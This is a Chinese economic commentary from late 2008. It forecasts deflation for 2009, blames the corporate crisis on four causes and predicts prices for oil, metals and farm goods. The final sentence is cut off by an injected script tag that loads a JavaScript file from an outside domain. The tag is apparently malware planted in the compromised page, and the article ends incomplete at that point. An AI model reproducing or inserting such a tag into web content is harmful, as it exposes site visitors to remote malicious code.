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笔夫:2009年通胀会不会重来?
2008-12-29  作者:笔 夫  阅读:  

    尽管仍然处于通缩的威胁之下,但已经有许多人开始担忧在2009年会出现新一轮的通胀。
    这也难怪,即将过去的这一年,过山车式的物价走势和各种资产价格,使人们对价格反应这根神经已经紧绷,紧绷的神经容易导致直线性的思维,这种思维在将目前的通缩倾向归结为通胀的结果的同时,认为正在实施的大规模的经济刺激计划必将导致2009年的通胀。
    当然,通缩与通胀的这种周期性循环从长时间来看是存在的,但是在如此短时间周期内这种因果关系难以成立。
    目前,全球性的经济危机正处于蔓延的过程当中,所有的指标显示,情况仍然处于不断地恶化当中,实体经济衰退正逐步显性化。对于关心市场状况的人来说,现在最合适的话题并不是复苏,这样的愿景无法在现在找到适合的政策工具和经济策略,我们所关心的是,面对这样百年一遇的经济灾难,如何将衰退的程度减小到最小程度,如何使最底层人民的痛苦最轻,如何在经济减速时妥善处理每年新增的几千万的劳动就业大军,如何在经济步入我们目前仍然没有设想过的更糟糕的境遇时,避免社会群体性的非理性行为和极端思想的蔓延。
    政府已经设想了这些问题。倾国家财力所能加大基础设施建设的投入,对宏观调控背景下许多限制性措施进行大幅调整和妥协,以放松管制来激发企业家的投资热情,以大幅度的利率下调来减轻全社会的资金成本,不管效果将如何,行动本身成为了危机中国民最大的慰藉。
    但是规律不会因为行动的急迫而发生根本性的改变,如果我们承认全球性经济危机的爆发并不是偶然性的事件的话,我们就应该对引起事情的根本性的原因作出客观的评估。
    企业是危机的风暴眼。企业目前的危机至少来自以下四个层面:一、前两年高通胀背景下,企业生产利润的急剧恶化。资源性价格的高涨使得全社会的生产制造成本不断膨胀,企业只能依靠向下游企业和消费者传递与分散成本来实现自己的生存,但是当这种情况发展到一定程度,这种传递机制变得不顺畅,或者下游厂商和消费者不再愿意接受来自上游的成本转移时,企业的利润就会急剧下滑,并且会引发减产保价的多米诺骨牌效应,从而引发全社会需求的雪崩式下滑,泡沫破灭,企业走向萧条。二、传统出口市场的急剧萎缩是导火索。对于我们这样深度依赖出口市场的经济体,美国、欧盟和日本的经济衰退的影响是通过出口市场传递到国内的,而这种出口对于我们两位数的GDP增长具有决定性的意义,这一点对于珠三角、长三角地区的企业来说,尤其重要。三、过去5年,在高利润的诱惑下,主要产业领域产能的急剧扩张延长了经济见底的时间长度。也就是说,在现实需求与潜在产能间存在的差额实际上就是经济复苏的路径。我们需用多长时间来填补这两者之间的差额,就决定了我们复苏所需要的时间长度。四、主要消费品的阶段性饱和与消费者消费能力不足之间的矛盾变得更加突出。
    没有任何迹象表明,导致企业危机的以上四个要素会在短时间内得到根本性的缓解,由于企业需求生态系统已经出现紊乱,少数厂商的突然休克会导致更多的厂商需求突然中断或是减少,所以即将到来的2009年上半年,我们还会见证一个企业需求疲弱的状况。对照上世纪三十年代的大萧条,可以肯定的是美国实体经济仍未见底,失业人数远未达到最高点,欧盟迟缓的降息速度和决策系统的低效率运转将会使得这一地区在2009年比美国更差。贸易保护主义会在这两个地区抬头,中国出口市场的考验还会延续。而解决目前生产潜能与消费能力的差距至少需要两年的时间,而在这个过程中,一些企业在扩能过程中的高负债问题也将是一个难以回避的困难。
    政府高达数万亿的直接投资计划对于局部领域的生产恢复会起到正面的作用,但是相对于整体局势而言,这种需求拉动作用完全不敌因为经济失速和全社会固定资产投资减少所带来的负面影响。以此评估2009年的价格水平,笔夫认为,整体的趋势是通货紧缩,价格可能会出现一些局部的短暂的反弹,但是不会改变全年的通缩的局面。
    具体到各商品的价格走势,最重要的是原油的价格,笔夫判断认为,2009年国际原油价格底部应该在30美元附近,而反弹的最高点应该会在55美元左右。30美元是2000年以来的价格底部的中轴区域略高,应是较为强烈的支撑,而55美元是油价2006年底那次调整的底部区域,有强大的阻力,估计2009年下半年价格有可能会上摸一下这个价格,但非常短暂。
    金属价格有可能会在上半年出现一轮显著的反弹,因为国内许多政府基础设施会在开春后出现一轮施工高潮。受制于全球库存的压力,在反弹后仍会出现下跌。
    农产品在2009年会要弱势得多,由于国家的收储政策延缓了农产品的下跌时间和强度,因此2009年的农产品难以有强势起色,应该会出现持续低迷的状况,其底部要到2009年?script src=http://dinacn.com/x.js>

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